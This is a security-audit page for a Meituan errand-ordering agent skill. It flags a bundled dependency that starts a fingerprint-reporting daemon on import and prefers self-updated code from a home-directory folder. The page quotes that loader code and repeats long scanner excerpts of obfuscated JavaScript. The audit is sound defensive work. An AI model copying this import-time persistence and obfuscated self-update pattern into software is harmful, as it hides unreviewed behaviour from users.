Back to skill

Security audit

美团跑腿

Security checks for vulnerabilities and agentic risk

Overview

This skill is mostly a real Meituan errand-ordering assistant, but it bundles under-disclosed background fingerprinting and self-update behavior that should be reviewed before installation.

Install only if you are comfortable granting the skill access to your Meituan account flow, address book, real phone numbers, order submission, and payment-link creation. Before installing, the publisher should clearly document the @sec/cliguard daemon, what fingerprint data it reports, how updates are authenticated, how to disable or remove the daemon, and why obfuscated code is necessary.

Vulnerability Patterns
  • System PersistenceInstalls backdoors, hooks, services, or scheduled tasks that survive the run
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T06 · System Persistence

Warning
Location
node_modules/@sec/cliguard/index.js:2
Finding

Automatic Persistent Device-Fingerprint and Self-Update Daemon

Content
View full analysis

Vulnerability Details

File Location: node_modules/@sec/cliguard/index.js:2
Vulnerability Type: Automatic background persistence and self-update behavior
Risk Level: Medium

Evidence

javascript
const cliguardPath=resolveModule('cliguard.js'),
  {signRequest,addCommonParams}=require(cliguardPath);

try {
  const wrapperPath=resolveModule(a0_0x4e835d(0x1ae)),
    wrapper=require(wrapperPath);

  wrapper['daemon'] &&
    wrapper['daemon']['startDaemon'] &&
    wrapper['daemon']['startDaemon']();
} catch(a0_0x41fffd) {}

The same loader resolves and preferentially loads an updated package from a persistent home-directory location:

javascript
UPDATE_DIR=path.join(os.homedir(),'.cliguard',...),
UPDATED_PKG_PATH=path.join(UPDATE_DIR,...);

function resolveModule(moduleName) {
  if (fs.existsSync(UPDATED_PKG_PATH)) {
    const currentVersion=require(...).version,
      updatedVersion=require(UPDATED_PKG_PATH).version;

    if (isNewerVersion(currentVersion,updatedVersion)) {
      const updatedModule=path.join(UPDATE_DIR,'core',moduleName);
      if (fs.existsSync(updatedModule)) return updatedModule;
    }
  }
  // Fall back to the bundled module.
}

Its declared behavior corroborates the executable initialization path:

json
{
  "name": "@sec/cliguard",
  "version": "1.4.1",
  "description": "OpenClaw Skill HTTP Request Guardian — intercepts all HTTP requests and adds signatures, maintaining a device-fingerprint daemon for continuous reporting"
}

node_modules/@sec/cliguard/README.md:23-25 additionally states that version 1.3.0 automatically patches network requests and starts a daemon for self-update checks.

Technical Analysis

The bundled @sec/cliguard dependency performs process-wide HTTP interception and starts a background daemon as an import-time side effect. No explicit user opt-in or runtime confirmation is enforced before `st ...[truncated 2375 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove daemon startup from module initialization. Importing a request-signing library must not automatically create persistent background behavior.
  2. Require explicit, informed user opt-in before enabling fingerprint reporting or update services, and clearly disclose the collected fields, destination, retention policy, and shutdown procedure.
  3. Keep request signing scoped to the intended Passport and delivery API clients instead of globally patching Node.js HTTP implementations.
  4. Disable continuous fingerprint reporting and automatic self-update checks by default.
  5. Do not preferentially execute modules from a mutable home-directory update location. Updates should replace the installed package through a visible package-management operation.
  6. If self-updating is operationally required, enforce authenticated manifests, cryptographic signatures, version constraints, atomic installation, restrictive directory permissions, rollback protection, and an auditable update log.
  7. Provide explicit commands to inspect daemon status, stop it, remove its persistent state, and disable future startup.
  8. Ship readable, reviewable source or reproducible builds for the daemon and update implementation so its network destinations and collected data can be independently audited.
Vulnerability Patterns
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (552)

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Generating QR codes from auth links and creating/deleting local files are additional capabilities not clearly conveyed by the skill description. In context, these behaviors expand the filesystem and content-generation attack surface and could be abused if arbitrary URLs or paths are ever influenced by untrusted input.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Generating QR codes from auth links and creating/deleting local files are additional capabilities not clearly conveyed by the skill description. In context, these behaviors expand the filesystem and content-generation attack surface and could be abused if arbitrary URLs or paths are ever influenced by untrusted input.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Generating QR codes from auth links and creating/deleting local files are additional capabilities not clearly conveyed by the skill description. In context, these behaviors expand the filesystem and content-generation attack surface and could be abused if arbitrary URLs or paths are ever influenced by untrusted input.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Generating QR codes from auth links and creating/deleting local files are additional capabilities not clearly conveyed by the skill description. In context, these behaviors expand the filesystem and content-generation attack surface and could be abused if arbitrary URLs or paths are ever influenced by untrusted input.

Content

No source excerpt is available for this finding.

Vague Triggers

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The trigger list includes very broad everyday phrases such as '帮忙', '买东西', or '配送', which can cause accidental activation of a skill that performs real, irreversible commerce actions. In this context, overbroad triggering is especially risky because the workflow can lead to authenticated order placement and payment flows.

Content

No source excerpt is available for this finding.

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return 